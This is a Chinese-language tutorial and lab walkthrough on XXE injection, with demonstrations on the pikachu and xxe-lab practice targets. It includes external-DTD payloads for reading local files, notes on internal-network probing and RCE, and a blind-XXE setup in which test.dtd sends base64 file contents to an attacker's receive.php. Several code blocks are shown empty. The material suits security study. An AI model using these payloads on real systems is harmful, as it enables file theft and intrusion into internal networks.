
涉及知识
概念
XML、XXE基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。(XML可以理解为一种数据格式)
XXE(XML External Entity Injection)漏洞全称XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML的主要差异
XML被设计为传输和存储数据,其焦点是数据的内容。——一种数据格式
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
XML代码示例如下
1 | <!--文档类型定义--> |
危害
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。具体可以涉及文件读取、RCE执行、内网攻击、DOS攻击等
检测
白盒
函数可控变量查找
传输和存储数据格式类型
黑盒
人工方法
数据格式类型判断
burpsuite截取数据包或爬取数据包(burp可以将网站的地址请求都爬一遍),爬完之后在数据包中进行批量搜索<user>test</user><pass>Mikasa</pass>,这是一个xml格式的典型写法,如果出现此类写法,说明存在xml格式数据的传递,此时可能存在XXE漏洞
Content-Type值判断
burpsuite截取数据包或爬取数据包(burp可以将网站的地址请求都爬一遍),爬完之后在数据包中进行批量搜索Content-Type字段,如果该字段的值出现了text/xml或application/xml,就说明该地址接收xml格式的数据传递,此时可能存在XXE漏洞,就可以尝试进行XXE漏洞测试
更改Content-Type值看返回
若上述两种都搜索不到,尝试更改数据包中的Content-Type字段值,再将攻击语句写到提交数据处,看能否成功执行进行测试
工具扫描
一般的漏洞扫描工具都能扫到XXE漏洞,专扫XXE的工具也可以扫到XXE漏洞
演示案例
pikachu靶场xml数据传输测试——回显、写法、协议、引入
各个脚本支持的协议如下

在pikachu的XXE靶场中,已知此处存在一个XXE漏洞,如何利用此处的XXE漏洞,其payload写法一般是通用的(此案例不要求掌握为什么此处会出现XXE,只要求利用,漏洞成因后续讲解)
有回显XXE漏洞读文件
用法
1 |
|
**备注:**前提条件是存在那个文件
演示
本地D盘下存在一个名为www.txt的文件,内容是123456789,利用该XXE漏洞进行读取,则payload如下:
1 |
|
成功读取

XXE漏洞内网探针或攻击内网应用(触发漏洞地址)
用法
1 |
|
**备注:**上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
利用
如果访问成功,则会通过Web服务器访问内网地址,可以利用此漏洞
- 探测该内网IP的指定端口是否开放:引号内写成
http://内网IP:端口 - 若有端口开放,则探测该内网IP的指定文件是否存在:引号内写成
http://内网IP:端口/文件名
XXE漏洞进行RCE
1 |
|
**备注:**需要目标服务器时安装expect扩展的PHP环境里执行系统命令。条件较为苛刻,实战情况比较难碰到。
XXE漏洞引入外部实体DTD
用法
相当于让目标服务器访问外部链接,使得外部.dtd文件(相当于一种xml文件)的内容,被目标服务器当做.xml文件来执行。即核心代码payload写在外部的.dtd文件中
1 |
|
下面的是我们外部的写入文件evil2.dtd的内容
1 | <!ENTITY send SYSTEM "file:///d:/test.txt"> |
一旦XXE漏洞使得目标服务器成功访问到外部实体文件,则会执行外部实体文件的内容
**备注:**条件:看对方的代码有没有禁用外部实体引用,这也是防御XXE的一种措施。如果禁用外部实体,即使存在XXE漏洞,目标服务器也不能执行外部实体内容。类似文件包含中的远程包含。
演示
127.0.0.1主机的www目录下存在一个evil2.dtd,内容如下
1 | <!ENTITY send SYSTEM "file:///d:/www.txt"> |
构造payload读取D盘下的www.txt文件,内容是abcdefg
1 | <?xml version = "1.0"?> |
在XXE漏洞处执行上述payload,成功通过XXE执行外部实体内容,访问到www.txt文件内容

无回显XXE漏洞读取文件
写法
1 |
远程文件test.dtd内容如下
1 | <!ENTITY % payload |
上面xml的payload中的URL一般是自己的网站地址
第一步:PHP伪协议访问服务器自己的文件,将访问文件内容写到%file当中
第二步:访问远程的dtd文件,把PHP伪协议读取到的数据%file赋给data变量,并以GET方法提交给远程的攻击者服务器
第三步:我们只需要在自己的网站日志,或者写个php脚本接收上述data变量值,就能看到读取到的文件数据了。
示例
在pikachu的XXE靶场中修改代码,使得该XXE无回显
修改源代码位置:pikachu/vul/xxe/xxe_1.php,在82行左右存在以下代码,注释掉echo等内容如下:
1 | <?php //echo $html;?> |
之后提交payload则前端不会有回显
已知信息如下
目标服务器D盘下存在文件test.txt,内容为I am a hacker
攻击者IP为127.0.0.1,其www目录下存在文件test.dtd和receive.php
XXE的XML payload及作用
构造XXE漏洞的payload
1 |
目标服务器XXE漏洞执行读取敏感文件后,将敏感文件内容保存到
%file中目标服务器访问远程的攻击者服务器上的
dtd文件,%file会赋值给一个PHP变量
攻击者的test.dtd及作用
test.dtd内容如下:注意%号要进行实体编码成%
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:80/receive.php?data=%file;'>">%payload; |
该dtd文件将上述%file赋值给一个GET参数data,并将这个GET参数提交到远程攻击者服务器的receive.php文件处理
攻击者的receive.php及作用
receive.php:
1 |
|
receive.php文件接收传来的GET参数data的值,并写入文件data.txt中
因此,只要使目标服务器XXE漏洞能触发payload读取自身文件,即便前端没有回显,也可以在攻击者的服务器上的data.txt文件中就能看到目标服务器文件内容,或者在攻击者服务器的日志中查看到目标服务器文件内容。
附:phpstudy开启网站Apache访问日志和错误日志并按日期划分创建
按照上述思路成功解决XXE漏洞无回显
将payload提交到XXE漏洞处,并无回显显示,但其实文件内容已经发送到攻击者服务器,并保存在data.txt文件中

查看攻击者服务器的www目录,新生成一个data.txt文件,内容如下

使用base64解密后文件内容如下

若开启了Apache的日志,也可看到GET参数提交的内容,和最终保存在data.txt中的内容是相同的

XXE读文件绕过——协议读文件绕过
https://www.cnblogs.com/20175211lyz/p/11413335.html
xxe-lab靶场登录框新命令数据传输测试——检测发现
根据上述知识点,对xxe-lab靶场(php_xxe),手工检测是否存在XXE漏洞
登录框任意输入后burp抓包,可以看到,数据包中的Content-Type值为application/xml,这说明传递的是一个xml格式的数据

在数据部分提交XXE漏洞读取文件的payload
CTF-Vulnhub-XXE安全真题复现——检测、利用、拓展、实战
CTF-Jarvis-OJ-Web-XXE安全真题复现——数据请求格式
XXE安全漏洞自动化注射脚本工具——XXEinjector(Ruby)
涉及资源
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html
附加:
XXE漏洞详细参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
XML外部实体注入参考:https://xz.aliyun.com/t/6754